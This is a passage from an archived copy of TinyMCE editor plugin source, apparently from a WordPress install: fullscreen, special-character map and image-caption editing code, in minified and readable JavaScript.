}); }; }; var register$1 = function (editor) { editor.addMenuItem('fullscreen', { text: 'Fullscreen', shortcut: 'Ctrl+Shift+F', selectable: true, cmd: 'mceFullScreen', onPostRender: postRender(editor), context: 'view' }); editor.addButton('fullscreen', { active: false, tooltip: 'Fullscreen', cmd: 'mceFullScreen', onPostRender: postRender(editor) }); }; var Buttons = { register: register$1 }; global.add('fullscreen', function (editor) { var fullscreenState = Cell(null); if (editor.settings.inline) { return Api.get(fullscreenState); } Commands.register(editor, fullscreenState); Buttons.register(editor); editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen'); return Api.get(fullscreenState); }); function Plugin () { } return Plugin; }(window)); })(); tinymce/plugins/charmap/plugin.min.js 0000644 00000020631 15111757756 0013747 0 ustar 00 !function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>',i=0;i<n;i++){for(t+="<tr>",a=0;a<r;a++){var o=i*r+a;if(o<e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):" ";t+='<td title="'+l[1]+'"><div tabindex="-1" title="'+l[1]+'" role="button" data-chr="'+c+'">'+s+"</div></td>"}else t+="<td />"}t+="</tr>"}return t+="</tbody></table>"},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}(); tinymce/plugins/charmap/plugin.js 0000644 00000055252 15111757756 0013174 0 ustar 00 (function () { var charmap = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var fireInsertCustomChar = function (editor, chr) { return editor.fire('insertCustomChar', { chr: chr }); }; var Events = { fireInsertCustomChar: fireInsertCustomChar }; var insertChar = function (editor, chr) { var evtChr = Events.fireInsertCustomChar(editor, chr).chr; editor.execCommand('mceInsertContent', false, evtChr); }; var Actions = { insertChar: insertChar }; var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var getCharMap = function (editor) { return editor.settings.charmap; }; var getCharMapAppend = function (editor) { return editor.settings.charmap_append; }; var Settings = { getCharMap: getCharMap, getCharMapAppend: getCharMapAppend }; var isArray = global$1.isArray; var getDefaultCharMap = function () { return [ [ '160', 'no-break space' ], [ '173', 'soft hyphen' ], [ '34', 'quotation mark' ], [ '162', 'cent sign' ], [ '8364', 'euro sign' ], [ '163', 'pound sign' ], [ '165', 'yen sign' ], [ '169', 'copyright sign' ], [ '174', 'registered sign' ], [ '8482', 'trade mark sign' ], [ '8240', 'per mille sign' ], [ '181', 'micro sign' ], [ '183', 'middle dot' ], [ '8226', 'bullet' ], [ '8230', 'three dot leader' ], [ '8242', 'minutes / feet' ], [ '8243', 'seconds / inches' ], [ '167', 'section sign' ], [ '182', 'paragraph sign' ], [ '223', 'sharp s / ess-zed' ], [ '8249', 'single left-pointing angle quotation mark' ], [ '8250', 'single right-pointing angle quotation mark' ], [ '171', 'left pointing guillemet' ], [ '187', 'right pointing guillemet' ], [ '8216', 'left single quotation mark' ], [ '8217', 'right single quotation mark' ], [ '8220', 'left double quotation mark' ], [ '8221', 'right double quotation mark' ], [ '8218', 'single low-9 quotation mark' ], [ '8222', 'double low-9 quotation mark' ], [ '60', 'less-than sign' ], [ '62', 'greater-than sign' ], [ '8804', 'less-than or equal to' ], [ '8805', 'greater-than or equal to' ], [ '8211', 'en dash' ], [ '8212', 'em dash' ], [ '175', 'macron' ], [ '8254', 'overline' ], [ '164', 'currency sign' ], [ '166', 'broken bar' ], [ '168', 'diaeresis' ], [ '161', 'inverted exclamation mark' ], [ '191', 'turned question mark' ], [ '710', 'circumflex accent' ], [ '732', 'small tilde' ], [ '176', 'degree sign' ], [ '8722', 'minus sign' ], [ '177', 'plus-minus sign' ], [ '247', 'division sign' ], [ '8260', 'fraction slash' ], [ '215', 'multiplication sign' ], [ '185', 'superscript one' ], [ '178', 'superscript two' ], [ '179', 'superscript three' ], [ '188', 'fraction one quarter' ], [ '189', 'fraction one half' ], [ '190', 'fraction three quarters' ], [ '402', 'function / florin' ], [ '8747', 'integral' ], [ '8721', 'n-ary sumation' ], [ '8734', 'infinity' ], [ '8730', 'square root' ], [ '8764', 'similar to' ], [ '8773', 'approximately equal to' ], [ '8776', 'almost equal to' ], [ '8800', 'not equal to' ], [ '8801', 'identical to' ], [ '8712', 'element of' ], [ '8713', 'not an element of' ], [ '8715', 'contains as member' ], [ '8719', 'n-ary product' ], [ '8743', 'logical and' ], [ '8744', 'logical or' ], [ '172', 'not sign' ], [ '8745', 'intersection' ], [ '8746', 'union' ], [ '8706', 'partial differential' ], [ '8704', 'for all' ], [ '8707', 'there exists' ], [ '8709', 'diameter' ], [ '8711', 'backward difference' ], [ '8727', 'asterisk operator' ], [ '8733', 'proportional to' ], [ '8736', 'angle' ], [ '180', 'acute accent' ], [ '184', 'cedilla' ], [ '170', 'feminine ordinal indicator' ], [ '186', 'masculine ordinal indicator' ], [ '8224', 'dagger' ], [ '8225', 'double dagger' ], [ '192', 'A - grave' ], [ '193', 'A - acute' ], [ '194', 'A - circumflex' ], [ '195', 'A - tilde' ], [ '196', 'A - diaeresis' ], [ '197', 'A - ring above' ], [ '256', 'A - macron' ], [ '198', 'ligature AE' ], [ '199', 'C - cedilla' ], [ '200', 'E - grave' ], [ '201', 'E - acute' ], [ '202', 'E - circumflex' ], [ '203', 'E - diaeresis' ], [ '274', 'E - macron' ], [ '204', 'I - grave' ], [ '205', 'I - acute' ], [ '206', 'I - circumflex' ], [ '207', 'I - diaeresis' ], [ '298', 'I - macron' ], [ '208', 'ETH' ], [ '209', 'N - tilde' ], [ '210', 'O - grave' ], [ '211', 'O - acute' ], [ '212', 'O - circumflex' ], [ '213', 'O - tilde' ], [ '214', 'O - diaeresis' ], [ '216', 'O - slash' ], [ '332', 'O - macron' ], [ '338', 'ligature OE' ], [ '352', 'S - caron' ], [ '217', 'U - grave' ], [ '218', 'U - acute' ], [ '219', 'U - circumflex' ], [ '220', 'U - diaeresis' ], [ '362', 'U - macron' ], [ '221', 'Y - acute' ], [ '376', 'Y - diaeresis' ], [ '562', 'Y - macron' ], [ '222', 'THORN' ], [ '224', 'a - grave' ], [ '225', 'a - acute' ], [ '226', 'a - circumflex' ], [ '227', 'a - tilde' ], [ '228', 'a - diaeresis' ], [ '229', 'a - ring above' ], [ '257', 'a - macron' ], [ '230', 'ligature ae' ], [ '231', 'c - cedilla' ], [ '232', 'e - grave' ], [ '233', 'e - acute' ], [ '234', 'e - circumflex' ], [ '235', 'e - diaeresis' ], [ '275', 'e - macron' ], [ '236', 'i - grave' ], [ '237', 'i - acute' ], [ '238', 'i - circumflex' ], [ '239', 'i - diaeresis' ], [ '299', 'i - macron' ], [ '240', 'eth' ], [ '241', 'n - tilde' ], [ '242', 'o - grave' ], [ '243', 'o - acute' ], [ '244', 'o - circumflex' ], [ '245', 'o - tilde' ], [ '246', 'o - diaeresis' ], [ '248', 'o slash' ], [ '333', 'o macron' ], [ '339', 'ligature oe' ], [ '353', 's - caron' ], [ '249', 'u - grave' ], [ '250', 'u - acute' ], [ '251', 'u - circumflex' ], [ '252', 'u - diaeresis' ], [ '363', 'u - macron' ], [ '253', 'y - acute' ], [ '254', 'thorn' ], [ '255', 'y - diaeresis' ], [ '563', 'y - macron' ], [ '913', 'Alpha' ], [ '914', 'Beta' ], [ '915', 'Gamma' ], [ '916', 'Delta' ], [ '917', 'Epsilon' ], [ '918', 'Zeta' ], [ '919', 'Eta' ], [ '920', 'Theta' ], [ '921', 'Iota' ], [ '922', 'Kappa' ], [ '923', 'Lambda' ], [ '924', 'Mu' ], [ '925', 'Nu' ], [ '926', 'Xi' ], [ '927', 'Omicron' ], [ '928', 'Pi' ], [ '929', 'Rho' ], [ '931', 'Sigma' ], [ '932', 'Tau' ], [ '933', 'Upsilon' ], [ '934', 'Phi' ], [ '935', 'Chi' ], [ '936', 'Psi' ], [ '937', 'Omega' ], [ '945', 'alpha' ], [ '946', 'beta' ], [ '947', 'gamma' ], [ '948', 'delta' ], [ '949', 'epsilon' ], [ '950', 'zeta' ], [ '951', 'eta' ], [ '952', 'theta' ], [ '953', 'iota' ], [ '954', 'kappa' ], [ '955', 'lambda' ], [ '956', 'mu' ], [ '957', 'nu' ], [ '958', 'xi' ], [ '959', 'omicron' ], [ '960', 'pi' ], [ '961', 'rho' ], [ '962', 'final sigma' ], [ '963', 'sigma' ], [ '964', 'tau' ], [ '965', 'upsilon' ], [ '966', 'phi' ], [ '967', 'chi' ], [ '968', 'psi' ], [ '969', 'omega' ], [ '8501', 'alef symbol' ], [ '982', 'pi symbol' ], [ '8476', 'real part symbol' ], [ '978', 'upsilon - hook symbol' ], [ '8472', 'Weierstrass p' ], [ '8465', 'imaginary part' ], [ '8592', 'leftwards arrow' ], [ '8593', 'upwards arrow' ], [ '8594', 'rightwards arrow' ], [ '8595', 'downwards arrow' ], [ '8596', 'left right arrow' ], [ '8629', 'carriage return' ], [ '8656', 'leftwards double arrow' ], [ '8657', 'upwards double arrow' ], [ '8658', 'rightwards double arrow' ], [ '8659', 'downwards double arrow' ], [ '8660', 'left right double arrow' ], [ '8756', 'therefore' ], [ '8834', 'subset of' ], [ '8835', 'superset of' ], [ '8836', 'not a subset of' ], [ '8838', 'subset of or equal to' ], [ '8839', 'superset of or equal to' ], [ '8853', 'circled plus' ], [ '8855', 'circled times' ], [ '8869', 'perpendicular' ], [ '8901', 'dot operator' ], [ '8968', 'left ceiling' ], [ '8969', 'right ceiling' ], [ '8970', 'left floor' ], [ '8971', 'right floor' ], [ '9001', 'left-pointing angle bracket' ], [ '9002', 'right-pointing angle bracket' ], [ '9674', 'lozenge' ], [ '9824', 'black spade suit' ], [ '9827', 'black club suit' ], [ '9829', 'black heart suit' ], [ '9830', 'black diamond suit' ], [ '8194', 'en space' ], [ '8195', 'em space' ], [ '8201', 'thin space' ], [ '8204', 'zero width non-joiner' ], [ '8205', 'zero width joiner' ], [ '8206', 'left-to-right mark' ], [ '8207', 'right-to-left mark' ] ]; }; var charmapFilter = function (charmap) { return global$1.grep(charmap, function (item) { return isArray(item) && item.length === 2; }); }; var getCharsFromSetting = function (settingValue) { if (isArray(settingValue)) { return [].concat(charmapFilter(settingValue)); } if (typeof settingValue === 'function') { return settingValue(); } return []; }; var extendCharMap = function (editor, charmap) { var userCharMap = Settings.getCharMap(editor); if (userCharMap) { charmap = getCharsFromSetting(userCharMap); } var userCharMapAppend = Settings.getCharMapAppend(editor); if (userCharMapAppend) { return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend)); } return charmap; }; var getCharMap$1 = function (editor) { return extendCharMap(editor, getDefaultCharMap()); }; var CharMap = { getCharMap: getCharMap$1 }; var get = function (editor) { var getCharMap = function () { return CharMap.getCharMap(editor); }; var insertChar = function (chr) { Actions.insertChar(editor, chr); }; return { getCharMap: getCharMap, insertChar: insertChar }; }; var Api = { get: get }; var getHtml = function (charmap) { var gridHtml, x, y; var width = Math.min(charmap.length, 25); var height = Math.ceil(charmap.length / width); gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>'; for (y = 0; y < height; y++) { gridHtml += '<tr>'; for (x = 0; x < width; x++) { var index = y * width + x; if (index < charmap.length) { var chr = charmap[index]; var charCode = parseInt(chr[0], 10); var chrText = chr ? String.fromCharCode(charCode) : ' '; gridHtml += '<td title="' + chr[1] + '">' + '<div tabindex="-1" title="' + chr[1] + '" role="button" data-chr="' + charCode + '">' + chrText + '</div>' + '</td>'; } else { gridHtml += '<td />'; } } gridHtml += '</tr>'; } gridHtml += '</tbody></table>'; return gridHtml; }; var GridHtml = { getHtml: getHtml }; var getParentTd = function (elm) { while (elm) { if (elm.nodeName === 'TD') { return elm; } elm = elm.parentNode; } }; var open = function (editor) { var win; var charMapPanel = { type: 'container', html: GridHtml.getHtml(CharMap.getCharMap(editor)), onclick: function (e) { var target = e.target; if (/^(TD|DIV)$/.test(target.nodeName)) { var charDiv = getParentTd(target).firstChild; if (charDiv && charDiv.hasAttribute('data-chr')) { var charCodeString = charDiv.getAttribute('data-chr'); var charCode = parseInt(charCodeString, 10); if (!isNaN(charCode)) { Actions.insertChar(editor, String.fromCharCode(charCode)); } if (!e.ctrlKey) { win.close(); } } } }, onmouseover: function (e) { var td = getParentTd(e.target); if (td && td.firstChild) { win.find('#preview').text(td.firstChild.firstChild.data); win.find('#previewTitle').text(td.title); } else { win.find('#preview').text(' '); win.find('#previewTitle').text(' '); } } }; win = editor.windowManager.open({ title: 'Special character', spacing: 10, padding: 10, items: [ charMapPanel, { type: 'container', layout: 'flex', direction: 'column', align: 'center', spacing: 5, minWidth: 160, minHeight: 160, items: [ { type: 'label', name: 'preview', text: ' ', style: 'font-size: 40px; text-align: center', border: 1, minWidth: 140, minHeight: 80 }, { type: 'spacer', minHeight: 20 }, { type: 'label', name: 'previewTitle', text: ' ', style: 'white-space: pre-wrap;', border: 1, minWidth: 140 } ] } ], buttons: [{ text: 'Close', onclick: function () { win.close(); } }] }); }; var Dialog = { open: open }; var register = function (editor) { editor.addCommand('mceShowCharmap', function () { Dialog.open(editor); }); }; var Commands = { register: register }; var register$1 = function (editor) { editor.addButton('charmap', { icon: 'charmap', tooltip: 'Special character', cmd: 'mceShowCharmap' }); editor.addMenuItem('charmap', { icon: 'charmap', text: 'Special character', cmd: 'mceShowCharmap', context: 'insert' }); }; var Buttons = { register: register$1 }; global.add('charmap', function (editor) { Commands.register(editor); Buttons.register(editor); return Api.get(editor); }); function Plugin () { } return Plugin; }()); })(); tinymce/plugins/wpeditimage/plugin.min.js 0000644 00000027443 15111757756 0014643 0 ustar 00 tinymce.PluginManager.add("wpeditimage",function(g){var r,u,n,c,a,e=tinymce.each,l=tinymce.trim,t=tinymce.Env.iOS;function i(e){return!(!g.dom.getAttrib(e,"data-mce-placeholder")&&!g.dom.getAttrib(e,"data-mce-object"))}function o(e){e=g.$(e).parents("[contenteditable]");return e&&"false"===e.attr("contenteditable")}function d(e){return e.replace(/(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g,function(e,t,n){var a,i,o,r,c,d=t.match(/id=['"]([^'"]*)['"] ?/);return(c=(t=(i=(t=(a=(t=d?t.replace(d[0],""):t).match(/align=['"]([^'"]*)['"] ?/))?t.replace(a[0],""):t).match(/class=['"]([^'"]*)['"] ?/))?t.replace(i[0],""):t).match(/width=['"]([0-9]*)['"] ?/))&&(t=t.replace(c[0],"")),r=(r=(n=l(n)).match(/((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i))&&r[2]?(o=l(r[2]),l(r[1])):(o=l(t).replace(/caption=['"]/,"").replace(/['"]$/,""),n),d=d&&d[1]?d[1].replace(/[<>&]+/g,""):"",a=a&&a[1]?a[1]:"alignnone",i=i&&i[1]?" "+i[1].replace(/[<>&]+/g,""):"",(c=(c=!c&&r?r.match(/width=['"]([0-9]*)['"]/):c)&&c[1]?c[1]:c)&&o?(c=parseInt(c,10),g.getParam("wpeditimage_html5_captions")||(c+=10),'<div class="mceTemp"><dl id="'+d+'" class="wp-caption '+a+i+'" style="width: '+c+'px"><dt class="wp-caption-dt">'+r+'</dt><dd class="wp-caption-dd">'+o+"</dd></dl></div>"):n})}function s(e){return e.replace(/(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g,function(e,t){var n="";return-1===t.indexOf("<img ")||-1!==t.indexOf("</p>")?t.replace(/<d[ldt]( [^>]+)?>/g,"").replace(/<\/d[ldt]>/g,""):-1===(n=t.replace(/\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi,function(e,t,n,a){var i,o,r=n.match(/width="([0-9]*)"/);return r=r&&r[1]?r[1]:"",o=(i=(i=t.match(/class="([^"]*)"/))&&i[1]?i[1]:"").match(/align[a-z]+/i)||"alignnone",r&&a?'[caption id="'+((t=t.match(/id="([^"]*)"/))&&t[1]?t[1]:"")+'" align="'+o+'" width="'+r+'"'+(i=(i=i.replace(/wp-caption ?|align[a-z]+ ?/gi,""))&&' class="'+i+'"')+"]"+n+" "+(a=(a=a.replace(/\r\n|\r/g,"\n").replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g,function(e){return e.replace(/[\r\n\t]+/," ")})).replace(/\s*\n\s*/g,"<br />"))+"[/caption]":"alignnone"!==o[0]?n.replace(/><img/,' class="'+o[0]+'"><img'):n})).indexOf("[caption")?t.replace(/[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi,"<p>$1</p>$2"):n})}function h(e){return e&&(e.textContent||e.innerText).replace(/\ufeff/g,"")}function m(e){var t=g.dom.getParent(e,"div.mceTemp");(t=t||"IMG"!==e.nodeName?t:g.dom.getParent(e,"a"))?(t.nextSibling?g.selection.select(t.nextSibling):t.previousSibling?g.selection.select(t.previousSibling):g.selection.select(t.parentNode),g.selection.collapse(!0),g.dom.remove(t)):g.dom.remove(e),g.nodeChanged(),g.undoManager.add()}return g.addButton("wp_img_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){m(g.selection.getNode())}}),g.addButton("wp_img_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e,t,n,p;e=g.selection.getNode(),"undefined"!=typeof wp&&wp.media?(n=function(e){var t,n,a,i,o=[],r=g.dom,c=/^\d+$/;(n={attachment_id:!1,size:"custom",caption:"",align:"none",extraClasses:"",link:!1,linkUrl:"",linkClassName:"",linkTargetBlank:!1,linkRel:"",title:""}).url=r.getAttrib(e,"src"),n.alt=r.getAttrib(e,"alt"),n.title=r.getAttrib(e,"title"),a=r.getAttrib(e,"width"),i=r.getAttrib(e,"height"),(!c.test(a)||parseInt(a,10)<1)&&(a=e.naturalWidth||e.width);(!c.test(i)||parseInt(i,10)<1)&&(i=e.naturalHeight||e.height);n.customWidth=n.width=a,n.customHeight=n.height=i,c=tinymce.explode(e.className," "),t=[],tinymce.each(c,function(e){/^wp-image/.test(e)?n.attachment_id=parseInt(e.replace("wp-image-",""),10):/^align/.test(e)?n.align=e.replace("align",""):/^size/.test(e)?n.size=e.replace("size-",""):t.push(e)}),n.extraClasses=t.join(" "),(a=r.getParents(e,".wp-caption")).length&&(a=a[0],c=a.className.split(" "),tinymce.each(c,function(e){/^align/.test(e)?n.align=e.replace("align",""):e&&"wp-caption"!==e&&o.push(e)}),n.captionClassName=o.join(" "),(i=r.select("dd.wp-caption-dd",a)).length)&&(i=i[0],n.caption=g.serializer.serialize(i).replace(/<br[^>]*>/g,"$&\n").replace(/^<p>/,"").replace(/<\/p>$/,""));e.parentNode&&"A"===e.parentNode.nodeName&&(c=e.parentNode,n.linkUrl=r.getAttrib(c,"href"),n.linkTargetBlank="_blank"===r.getAttrib(c,"target"),n.linkRel=r.getAttrib(c,"rel"),n.linkClassName=c.className);return n}(e),g.$(e).attr("data-wp-editing",1),wp.media.events.trigger("editor:image-edit",{editor:g,metadata:n,image:e}),t=wp.media({frame:"image",state:"image-details",metadata:n}),wp.media.events.trigger("editor:frame-create",{frame:t}),e=function(m){g.undoManager.transact(function(){var e,t,n,a,i,o,r,c,d,l,s;e=p,t=m,s=g.dom,e&&e.length&&(a=e[0],r=(r=tinymce.explode(t.extraClasses," "))||[],t.caption||r.push("align"+t.align),t.attachment_id&&(r.push("wp-image-"+t.attachment_id),t.size)&&"custom"!==t.size&&r.push("size-"+t.size),l=t.width,c=t.height,"custom"===t.size&&(l=t.customWidth,c=t.customHeight),c={src:t.url,width:l||null,height:c||null,title:t.title||null,class:r.join(" ")||null},s.setAttribs(a,c),e.attr("alt",t.alt||""),r={href:t.linkUrl,rel:t.linkRel||null,target:t.linkTargetBlank?"_blank":null,class:t.linkClassName||null},a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?t.linkUrl?s.setAttribs(a.parentNode,r):s.remove(a.parentNode,!0):t.linkUrl&&((c=s.getParent(a,"a"))&&s.insertAfter(a,c),c=s.create("a",r),a.parentNode.insertBefore(c,a),c.appendChild(a)),r=g.dom.getParent(a,".mceTemp"),c=a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?a.parentNode:a,t.caption?(t.caption=function(e){if(!e||-1===e.indexOf("<")&&-1===e.indexOf(">"))return e;u=u||new tinymce.html.Serializer({},g.schema);return u.serialize(g.parser.parse(e,{forced_root_block:!1}))}(t.caption),o=t.attachment_id?"attachment_"+t.attachment_id:null,d="wp-caption "+("align"+(t.align||"none")),t.captionClassName&&(d+=" "+t.captionClassName.replace(/[<>&]+/g,"")),g.getParam("wpeditimage_html5_captions")||(l=parseInt(l,10),l+=10),r?((i=s.select("dl.wp-caption",r)).length&&s.setAttribs(i,{id:o,class:d,style:"width: "+l+"px"}),(i=s.select(".wp-caption-dd",r)).length&&s.setHTML(i[0],t.caption)):(i="<dl "+(o=o?'id="'+o+'" ':"")+'class="'+d+'" style="width: '+l+'px"><dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+t.caption+"</dd></dl>",o=s.create("div",{class:"mceTemp"},i),(n=s.getParent(c,"p"))?n.parentNode.insertBefore(o,n):c.parentNode.insertBefore(o,c),g.$(o).find("dt.wp-caption-dt").append(c),n&&s.isEmpty(n)&&s.remove(n))):r&&(n=s.create("p"),r.parentNode.insertBefore(n,r),n.appendChild(c),s.remove(r)),e=g.$(a),d=e.attr("srcset"),l=e.attr("src"),d&&l&&(l=l.replace(/[?#].*/,""),-1===d.indexOf(l))&&e.attr("srcset",null).attr("sizes",null),wp.media.events&&wp.media.events.trigger("editor:image-update",{editor:g,metadata:t,image:a}),g.nodeChanged())}),t.detach()},t.state("image-details").on("update",e),t.state("replace-image").on("replace",e),t.on("close",function(){g.focus(),t.detach(),(p=g.$("img[data-wp-editing]")).removeAttr("data-wp-editing")}),t.open()):g.execCommand("mceImage")}}),e({alignleft:"Align left",aligncenter:"Align center",alignright:"Align right",alignnone:"No alignment"},function(e,n){var t=n.slice(5);g.addButton("wp_img_"+n,{tooltip:e,icon:"dashicon dashicons-align-"+t,cmd:"alignnone"===n?"wpAlignNone":"Justify"+t.slice(0,1).toUpperCase()+t.slice(1),onPostRender:function(){var 